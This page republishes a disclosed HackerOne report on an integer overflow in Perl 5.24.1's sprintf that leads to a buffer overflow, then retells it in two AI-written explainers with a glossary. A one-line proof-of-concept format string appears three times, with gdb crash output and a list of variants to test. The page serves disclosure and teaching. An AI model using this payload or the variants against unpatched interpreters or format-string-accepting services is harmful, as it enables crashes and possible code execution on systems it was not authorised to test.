Skip to content
Memory corruption Disclosed report Advanced

Format string implementation vulnerability, resulting in code execution

A format string vulnerability in Perl's sprintf implementation allows integer overflows when calculating buffer size, leading to a buffer overflow. An attacker could potentially execute arbitrary code by supplying a hostile format string.

aerodudrizzt Follow

Originally disclosed on HackerOne

Bounty$500 Medium View original
  • Triaged in 3 months
  • Fixed in 3 months
  • Paid in 3 months
  • Disclosed after 2.1 years

In a security audit to the sprintf implementation in perl (version 5.24.1) I found a major security vulnerability, here are the full details. Timeline:

  • 6th of May, 2017 - disclosure to the PERL security mailing list
  • 8th of May, 2017 - vulnerability confirmed by PERL's security group, found relevant to all maintained branches
  • 9th of May, 2017 - patch issued to branches "blead"
  • 30th of May, 2017 - a patched 5.26 branch is released
  • 24th of August, 2017 - a patch was committed to the 5.24 branch, awaiting 5.24.3 release
  • 22nd of September, 2017 - 5.24.3 was released, announcing the format string vulnerability in the release notes - public disclosure by the project

Technical Details:

file: sv.c function: Perl_sv_vcatpvfn_flags

  • precis - represents a format's precision, and can be any size_t value
  • width - represents the format's width, and can be any non-negative size_t value
  • Using large values can cause multiple Integer-Overflows when calculating 'need' = the needed allocated space for a fraction
  • line 12300: need += has_precis ? precis : 6; /* known default */
  • later on more values are added to need (need += 20, ...)
  • Later on the use of 'width' for padding with spaces assumes that there is enough space in the buffer, causing a Buffer Overflow

PoC Script:

print sprintf("%2000.2000f this is a spacer %4000.4294967245a", 1, 0x0.00008234p+9);

Crash trace - tested on a 32 bit linux machine:

Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x080ebbe0 in Perl_runops_standard ()
(gdb) bt
#0  0x080ebbe0 in Perl_runops_standard ()
#1  0x08069356 in S_fold_constants ()
#2  0x080a8336 in Perl_yyparse ()
#3  0x08083219 in perl_parse ()
#4  0x0806218c in main ()
(gdb) info reg
eax            0x20202020    538976288
ecx            0x9f72900    167192832
edx            0x0    0
ebx            0x0    0
esp            0xbfe0e8c0    0xbfe0e8c0
ebp            0x9f6c4d0    0x9f6c4d0
esi            0x9f6f58c    167179660
edi            0x0    0
eip            0x80ebbe0    0x80ebbe0 <Perl_runops_standard+16>
eflags         0x10202    [ IF RF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
(gdb) x /10i $eip
=> 0x80ebbe0 <Perl_runops_standard+16>:    call   *0x8(%eax)
   0x80ebbe3 <Perl_runops_standard+19>:    test   %eax,%eax
   0x80ebbe5 <Perl_runops_standard+21>:    mov    %eax,0x8207a88
   0x80ebbea <Perl_runops_standard+26>:    
    jne    0x80ebbe0 <Perl_runops_standard+16>
   0x80ebbec <Perl_runops_standard+28>:    mov    0x8207290,%eax
   0x80ebbf1 <Perl_runops_standard+33>:    test   %eax,%eax
   0x80ebbf3 <Perl_runops_standard+35>:    
    jne    0x80ebc02 <Perl_runops_standard+50>
   0x80ebbf5 <Perl_runops_standard+37>:    movb   $0x0,0x82072b0
   0x80ebbfc <Perl_runops_standard+44>:    xor    %eax,%eax
   0x80ebbfe <Perl_runops_standard+46>:    add    $0xc,%esp

As you can see, the first %f print enlarged the buffer, and the controllable width in the second overflowed the buffer, causing eax to be corrupt (0x20 == ' '). The program itself crashed when tried to execute a pointer pointed by the controlled eax register (+8).

Threat Analysis:

This report demonstrates a potential code execution vulnerability, in case a sprintf format will be hostile. As format string attacks are relatively more popular on C/C++ languages, they are caused by the same programming bad practices:

  • "Generic" logging \ monitoring module that receives format + args, and build the message string

Such kind of vulnerabilities are still common in modern code projects, and during my career I found such vulnerabilities even in many high-profile companies. Since Perl (such as Python, and Ruby) is a memory-managed language, the programmer relies on the interpreter to "catch" problems for him, meaning that most programmers assume that these programs won't be vulnerable to format string attacks.

Conclusion:

The sprintf implementation has a severe vulnerability when handling a hostile format string. This vulnerability was demonstrated and can be easily leveraged into a remote code execution on the Perl interpreter (as I demonstrated previously in a similar vulnerability in a similar interpreter-based project).

Will be more than happy to answer any question regarding the ticket, Eyal Itkin.

The original report as published on HackerOne, by aerodudrizzt. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

Perl's sprintf builds a formatted string from a format template and a list of arguments. The template controls field width, precision, padding and conversion type, and the interpreter has to work out how much buffer space the result needs before writing it. The vulnerable code lives in sv.c, in the function Perl_sv_vcatpvfn_flags, which is the shared engine behind sprintf and related string-building operations.

The researcher audited that implementation in Perl 5.24.1 and found that a hostile format string can corrupt memory and, from there, redirect execution. The report was filed through the Internet Bug Bounty programme against the Perl (Legacy) asset and was rated medium severity, with a bounty of 500.00 USD.

Setup

The audit targeted Perl version 5.24.1. The crash trace in the report was produced on a 32 bit Linux machine, under a debugger, by running a short Perl script. No accounts, roles or remote services are involved: the precondition is simply the ability to get a hostile format string into sprintf, which in real code usually means a logging or monitoring wrapper that passes an attacker-influenced template through to the interpreter.

The disclosure timeline given in the report:

Date Event
6 May 2017 Disclosure to the Perl security mailing list
8 May 2017 Vulnerability confirmed by Perl's security group, found relevant to all maintained branches
9 May 2017 Patch issued to the "blead" branch
30 May 2017 A patched 5.26 branch is released
24 August 2017 A patch was committed to the 5.24 branch, awaiting the 5.24.3 release
22 September 2017 5.24.3 released, with the format string vulnerability announced in the release notes, which is the project's public disclosure

Finding it

The audit focused on two variables inside Perl_sv_vcatpvfn_flags:

  • precis, which represents a format's precision and can be any size_t value.
  • width, which represents the format's width and can be any non-negative size_t value.

Large values for these fields cause multiple integer overflows when the code calculates need, the amount of space to allocate for a fraction. The report points at line 12300:

Text
need += has_precis ? precis : 6; /* known default */

Further values are added to need afterwards (need += 20, and so on). Because the additions can wrap, the computed allocation can end up far smaller than what the format actually asks for. Later, the code uses width to pad the output with spaces and assumes there is enough room in the buffer. That assumption is what turns the arithmetic overflow into a buffer overflow.

Exploitation

Step 1: craft a format string that overflows the allocation

The proof of concept is a single print sprintf call with two conversions. The first, %2000.2000f, has a large width and precision and enlarges the buffer. The second, %4000.4294967245a, has a width of 4000 and a precision close to 2^32.

Text
print sprintf("%2000.2000f this is a spacer %4000.4294967245a", 1, 0x0.00008234p+9);

The second argument, 0x0.00008234p+9, is a hexadecimal floating point literal supplied as the value for the %a conversion.

Step 2: run it and observe the crash

Running the script on the 32 bit Linux machine terminates the interpreter with a segmentation fault. The debugger output:

Text
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x080ebbe0 in Perl_runops_standard ()
(gdb) bt
#0  0x080ebbe0 in Perl_runops_standard ()
#1  0x08069356 in S_fold_constants ()
#2  0x080a8336 in Perl_yyparse ()
#3  0x08083219 in perl_parse ()
#4  0x0806218c in main ()
(gdb) info reg
eax            0x20202020    538976288
ecx            0x9f72900    167192832
edx            0x0    0
ebx            0x0    0
esp            0xbfe0e8c0    0xbfe0e8c0
ebp            0x9f6c4d0    0x9f6c4d0
esi            0x9f6f58c    167179660
edi            0x0    0
eip            0x80ebbe0    0x80ebbe0 <Perl_runops_standard+16>
eflags         0x10202    [ IF RF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
(gdb) x /10i $eip
=> 0x80ebbe0 <Perl_runops_standard+16>:    call   *0x8(%eax)
   0x80ebbe3 <Perl_runops_standard+19>:    test   %eax,%eax
   0x80ebbe5 <Perl_runops_standard+21>:    mov    %eax,0x8207a88
   0x80ebbea <Perl_runops_standard+26>:
    jne    0x80ebbe0 <Perl_runops_standard+16>
   0x80ebbec <Perl_runops_standard+28>:    mov    0x8207290,%eax
   0x80ebbf1 <Perl_runops_standard+33>:    test   %eax,%eax
   0x80ebbf3 <Perl_runops_standard+35>:
    jne    0x80ebc02 <Perl_runops_standard+50>
   0x80ebbf5 <Perl_runops_standard+37>:    movb   $0x0,0x82072b0
   0x80ebbfc <Perl_runops_standard+44>:    xor    %eax,%eax
   0x80ebbfe <Perl_runops_standard+46>:    add    $0xc,%esp

The backtrace lists Perl_runops_standard, S_fold_constants, Perl_yyparse, perl_parse and main. The register dump is the interesting part: eax holds 0x20202020, which is four space characters. The first %f print enlarged the buffer, and the controllable width in the second conversion overflowed it, overwriting eax with the padding byte. The program then crashed when it tried to execute a pointer taken from the controlled eax register, at offset +8 in the instruction call *0x8(%eax).

Root cause

The allocation size need is computed by adding the precision (or a default of 6) and then further constants to a running total, without checking that the additions stay within the range of the type. With a precision near 2^32 and a large width, the sum wraps, so the buffer allocated for the fraction is smaller than the data the formatter later writes. The padding logic then trusts width and writes spaces past the end of the buffer. The padding character is fixed (a space, 0x20), but the amount of overflow and the surrounding layout are driven by the format string, and the corrupted eax was used as a call target.

Perl is a memory-managed language, so programmers tend to assume the interpreter will catch this class of problem for them. The report makes that point explicitly: the same bad practice that causes format string bugs in C and C++ applies here, because the interpreter itself is written in C and does its own buffer arithmetic.

Impact

The report describes the issue as a potential code execution vulnerability whenever a sprintf format can be hostile. The crash demonstrates control over a register that is then used as a call target, and the researcher states the vulnerability can be easily leveraged into remote code execution on the Perl interpreter. The threat model given is the familiar one: a "generic" logging or monitoring module that receives a format plus arguments and builds the message string, so that an attacker who influences the template reaches the vulnerable path. The report notes that such vulnerabilities are still common in modern code projects and that the researcher has encountered them in high-profile companies.

Fix

The project confirmed the issue on 8 May 2017 as relevant to all maintained branches. A patch went to the "blead" branch on 9 May 2017, a patched 5.26 branch was released on 30 May 2017, and a patch was committed to the 5.24 branch on 24 August 2017, pending the 5.24.3 release. Version 5.24.3 shipped on 22 September 2017 with the format string vulnerability announced in its release notes. The report does not describe the contents of the patch.

Variants to test

  • Other conversions that take a precision and a width, such as %f, %a, %e and %g, with precision values near the maximum of the platform's size_t. A positive result is a crash or corrupted register value where the padding byte appears in a pointer or length field.
  • Mixed conversions in one template, where an early conversion grows the buffer and a later one overflows it, as in the proof of concept. A positive result is a crash whose backtrace lands in the formatting or run-loop code rather than in the caller.
  • The same pattern on 64 bit builds, where the wrap point differs. A positive result is the same class of corruption at a correspondingly larger precision.
  • Any application-level wrapper that accepts a user-supplied format string, especially logging and monitoring helpers. A positive result is that a crafted template reaches sprintf unmodified and produces the crash above.

Hunting notes

This kind of bug hides in interpreter and runtime code written in C that implements formatting, and in application code that passes attacker-controlled templates into sprintf-style functions. During recon, the signal is a logging or monitoring component that takes a format plus arguments rather than a fixed message, since that is the pattern the report identifies as the usual delivery path. The debugger output shows the padding byte in eax and the indirect call through that register, which the researcher cites as evidence of potential code execution.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

Perl is a programming language, and like most languages it comes with a built-in tool for building text out of pieces. That tool is called sprintf. You give it a template with placeholders in it, plus the values to drop into those placeholders, and it hands back the finished string. For example, a template can say "print this number with 2000 characters of padding in front of it", and sprintf will do exactly that.

To do its job, sprintf first has to work out how much memory it needs for the finished text, reserve that much, and then write into it. The researcher audited that calculation in Perl 5.24.1 and found that a deliberately nasty template can make the arithmetic go wrong. The program reserves far less memory than the template actually asks for, and then writes past the end of what it reserved. That is called a buffer overflow: writing beyond the edge of a reserved area, like pouring a litre of water into a 200 ml glass and watching it run over the table.

Because the overflow lands on memory the program uses to decide what to do next, the researcher could show the interpreter crashing while trying to jump to an address built from the overflowed bytes. The report argues this can be pushed further, into running attacker-chosen code. The issue was filed through the Internet Bug Bounty programme against the Perl (Legacy) asset, rated medium severity, and paid a bounty of 500.00 USD.

Context

What sprintf does

Think of sprintf as a very literal assistant who fills in a form. The form is the format string: a piece of text with special markers such as %f or %a where values should go. The values themselves are passed separately, as a list of arguments. The assistant reads the form left to right, and for each marker it takes the next argument and writes it out according to the instructions attached to the marker.

Those instructions are the interesting part. A marker can carry:

  • a width: the minimum number of characters the value should occupy, padded with spaces if the value is shorter;
  • a precision: roughly, how many digits to show after the decimal point for numbers;
  • a conversion type: the letter at the end that says what kind of value this is, such as f for a floating point number or a for a hexadecimal floating point number.

So %2000.2000f means: a floating point number, width 2000, precision 2000. The assistant has to reserve room for all of that before it starts writing.

Where the bug lives

The vulnerable code is in a file called sv.c, in a function called Perl_sv_vcatpvfn_flags. That function is the shared engine behind sprintf and several related string-building operations, so a flaw there affects more than one feature. The researcher audited that implementation in Perl 5.24.1.

No accounts, logins or remote services are involved in reproducing it. The only precondition is that a hostile format string reaches sprintf. In real software that usually happens through a logging or monitoring helper: a piece of code whose whole job is to take a template plus values and build a log message. If an attacker can influence that template, they reach the vulnerable path.

The disclosure timeline

The report gives this sequence of events:

Date Event
6 May 2017 Disclosure to the Perl security mailing list
8 May 2017 Vulnerability confirmed by Perl's security group, found relevant to all maintained branches
9 May 2017 Patch issued to the "blead" branch
30 May 2017 A patched 5.26 branch is released
24 August 2017 A patch was committed to the 5.24 branch, awaiting the 5.24.3 release
22 September 2017 5.24.3 released, with the format string vulnerability announced in the release notes, which is the project's public disclosure

"Blead" is the name Perl gives to its main development branch, the place where new work lands first before it is copied into numbered release branches.

Finding it

The audit focused on two variables inside Perl_sv_vcatpvfn_flags:

  • precis, which represents a format's precision and can be any size_t value.
  • width, which represents the format's width and can be any non-negative size_t value.

size_t is a whole-number type used in C for sizes and counts. It has a fixed maximum, and it cannot hold a negative number. On a 32 bit machine the maximum is about 4.29 billion (2^32 minus 1); on a 64 bit machine it is vastly larger. The key property is that if you add past the maximum, the value does not grow, it wraps around to a small number, exactly like a car odometer rolling from 999999 back to 000000. That wrap is called an integer overflow.

Large values for these two fields cause multiple integer overflows when the code calculates need, the amount of space to allocate for a fraction. The report points at line 12300:

Text
need += has_precis ? precis : 6; /* known default */

In plain words: add to need either the requested precision, or 6 if no precision was given (the "known default"). Further values are added to need afterwards (need += 20, and so on). Each addition is a chance for the running total to wrap. If it wraps, the program reserves a buffer far smaller than the text the format actually asks for.

Later, the code uses width to pad the output with spaces and assumes there is enough room in the buffer. That assumption is what turns the arithmetic overflow into a buffer overflow: the reservation was too small, but the writing code never rechecks, so the spaces go past the end of the reserved area.

Exploitation

Step 1: craft a format string that overflows the allocation

The proof of concept is a single print sprintf call with two conversions. The first, %2000.2000f, has a large width and precision and enlarges the buffer. The second, %4000.4294967245a, has a width of 4000 and a precision close to 2^32.

Text
print sprintf("%2000.2000f this is a spacer %4000.4294967245a", 1, 0x0.00008234p+9);

Line by line:

  • print sends the result to standard output, the terminal where the script runs.
  • sprintf(...) builds the string. Everything inside the parentheses is its input.
  • "%2000.2000f this is a spacer %4000.4294967245a" is the format string, the template. It contains two markers separated by the literal text this is a spacer.
  • %2000.2000f is the first marker: width 2000, precision 2000, floating point. This is the one that enlarges the buffer.
  • %4000.4294967245a is the second marker: width 4000, precision 4294967245, hexadecimal floating point. The precision is just under 2^32.
  • 1 is the argument for the first marker.
  • 0x0.00008234p+9 is the argument for the second marker: a hexadecimal floating point literal, supplied as the value for the %a conversion.

The first conversion enlarges the buffer, and the second conversion's controllable width overflows it.

Step 2: run it and observe the crash

Running the script on the 32 bit Linux machine terminates the interpreter with a segmentation fault. A segmentation fault, or SIGSEGV, is the operating system stopping a program because it touched memory it is not allowed to touch. The debugger output:

Text
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x080ebbe0 in Perl_runops_standard ()
(gdb) bt
#0  0x080ebbe0 in Perl_runops_standard ()
#1  0x08069356 in S_fold_constants ()
#2  0x080a8336 in Perl_yyparse ()
#3  0x08083219 in perl_parse ()
#4  0x0806218c in main ()
(gdb) info reg
eax            0x20202020    538976288
ecx            0x9f72900    167192832
edx            0x0    0
ebx            0x0    0
esp            0xbfe0e8c0    0xbfe0e8c0
ebp            0x9f6c4d0    0x9f6c4d0
esi            0x9f6f58c    167179660
edi            0x0    0
eip            0x80ebbe0    0x80ebbe0 <Perl_runops_standard+16>
eflags         0x10202    [ IF RF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
(gdb) x /10i $eip
=> 0x80ebbe0 <Perl_runops_standard+16>:    call   *0x8(%eax)
   0x80ebbe3 <Perl_runops_standard+19>:    test   %eax,%eax
   0x80ebbe5 <Perl_runops_standard+21>:    mov    %eax,0x8207a88
   0x80ebbea <Perl_runops_standard+26>:
    jne    0x80ebbe0 <Perl_runops_standard+16>
   0x80ebbec <Perl_runops_standard+28>:    mov    0x8207290,%eax
   0x80ebbf1 <Perl_runops_standard+33>:    test   %eax,%eax
   0x80ebbf3 <Perl_runops_standard+35>:
    jne    0x80ebc02 <Perl_runops_standard+50>
   0x80ebbf5 <Perl_runops_standard+37>:    movb   $0x0,0x82072b0
   0x80ebbfc <Perl_runops_standard+44>:    xor    %eax,%eax
   0x80ebbfe <Perl_runops_standard+46>:    add    $0xc,%esp

What each part means:

  • Program terminated with signal SIGSEGV, Segmentation fault. is the operating system's message that the program was stopped for touching memory it should not have.
  • (gdb) bt asks the debugger for a backtrace, the list of function calls that led to the crash, newest first. Perl_runops_standard is where it died; S_fold_constants is the function that called it; Perl_yyparse and perl_parse are the parser, the part of Perl that reads source code; main is the entry point of the whole program. So the crash happened during parsing, while Perl was folding constants, not in the user's own code.
  • (gdb) info reg prints the registers, the small, very fast storage slots inside the processor. eax, ecx, edx and so on are their names on this kind of processor. eax holds 0x20202020, which is four space characters: 0x20 is the numeric code for a space, and it appears four times in a row. That is the padding byte from the overflow sitting in a register.
  • eip is the instruction pointer, the register that says which instruction the processor will run next. It points at Perl_runops_standard+16.
  • (gdb) x /10i $eip asks the debugger to show ten instructions starting at the address in eip. The arrow marks the instruction that was about to run: call *0x8(%eax). A call jumps into another piece of code. The *0x8(%eax) part means: take the value in eax, add 8 to it, and jump to whatever address is stored there. Since eax has been overwritten with spaces, the program is about to jump to an address built from the corrupted value, and that is what crashes it.

The first %f print enlarged the buffer, and the controllable width in the second conversion overflowed it, overwriting eax with the padding byte. The program then crashed when it tried to execute a pointer taken from the controlled eax register, at offset +8 in the instruction call *0x8(%eax).

Root cause

The allocation size need is computed by adding the precision (or a default of 6) and then further constants to a running total, without checking that the additions stay within the range of the type. With a precision near 2^32 and a large width, the sum wraps, so the buffer allocated for the fraction is smaller than the data the formatter later writes. The padding logic then trusts width and writes spaces past the end of the buffer.

The padding character is fixed, a space, 0x20. But the amount of overflow and the surrounding layout are driven by the format string, and the corrupted eax was used as a call target.

Perl is a memory-managed language. That means the programmer does not reserve and release memory by hand; the interpreter does it. Programmers therefore tend to assume the interpreter will catch this class of problem for them. The report makes that point explicitly: the same bad practice that causes format string bugs in C and C++ applies here, because the interpreter itself is written in C and does its own buffer arithmetic.

Impact

The report describes the issue as a potential code execution vulnerability whenever a sprintf format can be hostile. The crash demonstrates control over a register that is then used as a call target, and the researcher states the vulnerability can be easily leveraged into remote code execution on the Perl interpreter.

The threat model given is the familiar one: a "generic" logging or monitoring module that receives a format plus arguments and builds the message string, so that an attacker who influences the template reaches the vulnerable path. The report notes that such vulnerabilities are still common in modern code projects and that the researcher has encountered them in high-profile companies.

Fix

The project confirmed the issue on 8 May 2017 as relevant to all maintained branches. A patch went to the "blead" branch on 9 May 2017, a patched 5.26 branch was released on 30 May 2017, and a patch was committed to the 5.24 branch on 24 August 2017, pending the 5.24.3 release. Version 5.24.3 shipped on 22 September 2017 with the format string vulnerability announced in its release notes. The report does not describe the contents of the patch.

Variants to test

  • Other conversions that take a precision and a width, such as %f, %a, %e and %g, with precision values near the maximum of the platform's size_t. A positive result is a crash or corrupted register value where the padding byte appears in a pointer or length field.
  • Mixed conversions in one template, where an early conversion grows the buffer and a later one overflows it, as in the proof of concept. A positive result is a crash whose backtrace lands in the formatting or run-loop code rather than in the caller.
  • The same pattern on 64 bit builds, where the wrap point differs. A positive result is the same class of corruption at a correspondingly larger precision.
  • Any application-level wrapper that accepts a user-supplied format string, especially logging and monitoring helpers. A positive result is that a crafted template reaches sprintf unmodified and produces the crash above.

Hunting notes

This kind of bug hides in interpreter and runtime code written in C that implements formatting, and in application code that passes attacker-controlled templates into sprintf-style functions. During recon, the signal is a logging or monitoring component that takes a format plus arguments rather than a fixed message, since that is the pattern the report identifies as the usual delivery path. The researcher established impact by taking the crash beyond a simple denial of service: the debugger output shows the padding byte in eax and the subsequent indirect call through that register, which is what supports the code execution claim.

Glossary

  • Perl: a programming language, and also the name of the interpreter program that runs Perl code.
  • Interpreter: a program that reads source code and carries out its instructions directly, rather than compiling it to a separate executable first.
  • sprintf: a function that builds a string from a format template plus a list of values.
  • Format string: the template passed to sprintf, containing literal text and markers such as %f that say where and how values should appear.
  • Conversion: one marker in a format string, such as %f or %a, together with its width and precision.
  • Width: the minimum number of characters a converted value should occupy, padded with spaces if it is shorter.
  • Precision: roughly, how many digits to show after the decimal point for a number.
  • Argument: a value passed to a function alongside the format string, to be placed at a marker.
  • Buffer: a reserved block of memory used to hold data while a program works on it.
  • Buffer overflow: writing past the end of a reserved buffer, so that neighbouring memory is overwritten.
  • size_t: a whole-number type in C used for sizes and counts, with a fixed maximum and no negative values.
  • Integer overflow: what happens when arithmetic on a fixed-size whole number goes past its maximum and wraps around to a small value, like an odometer rolling over.
  • sv.c: the Perl source file that contains the vulnerable function.
  • Perl_sv_vcatpvfn_flags: the function in sv.c that implements the shared string-building engine behind sprintf and related operations.
  • need: the variable in that function that holds how much space must be allocated for the result.
  • Blead: the name of Perl's main development branch, where changes land before being copied into numbered release branches.
  • Proof of concept (PoC): a small piece of code that demonstrates a vulnerability actually works.
  • Hexadecimal floating point literal: a way of writing a floating point number in base 16, such as 0x0.00008234p+9.
  • Segmentation fault (SIGSEGV): the operating system stopping a program because it touched memory it is not allowed to touch.
  • Debugger: a tool that lets you pause a running program, inspect its state and step through it. gdb is one.
  • Backtrace: the list of function calls that led to the current point in a program, newest first.
  • Register: a small, very fast storage slot inside the processor, with names such as eax and eip.
  • eax: a general-purpose register on this kind of processor; here it ends up holding the overflowed padding bytes.
  • eip: the instruction pointer register, which says which instruction the processor will run next.
  • Instruction: one low-level operation the processor can carry out.
  • call: a processor instruction that jumps into another piece of code and later returns.
  • Pointer: a value that holds a memory address, telling the program where something is stored.
  • Code execution: making a program run instructions chosen by an attacker rather than by its author.
  • Remote code execution (RCE): code execution triggered from outside the machine, for example through a network-facing service.
  • Denial of service: making a service or program unavailable, for example by crashing it.
  • Memory-managed language: a language where the interpreter or runtime reserves and releases memory automatically, so the programmer does not do it by hand.
  • Logging or monitoring module: a piece of code whose job is to build and record messages about what a program is doing; a common place where a format string and its arguments are passed through.
  • Recon: the information-gathering phase of security work, where you look for the components and patterns worth testing.
  • Bounty: a payment made by a programme to a researcher who reports a valid vulnerability.

More by aerodudrizzt

View all

10 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.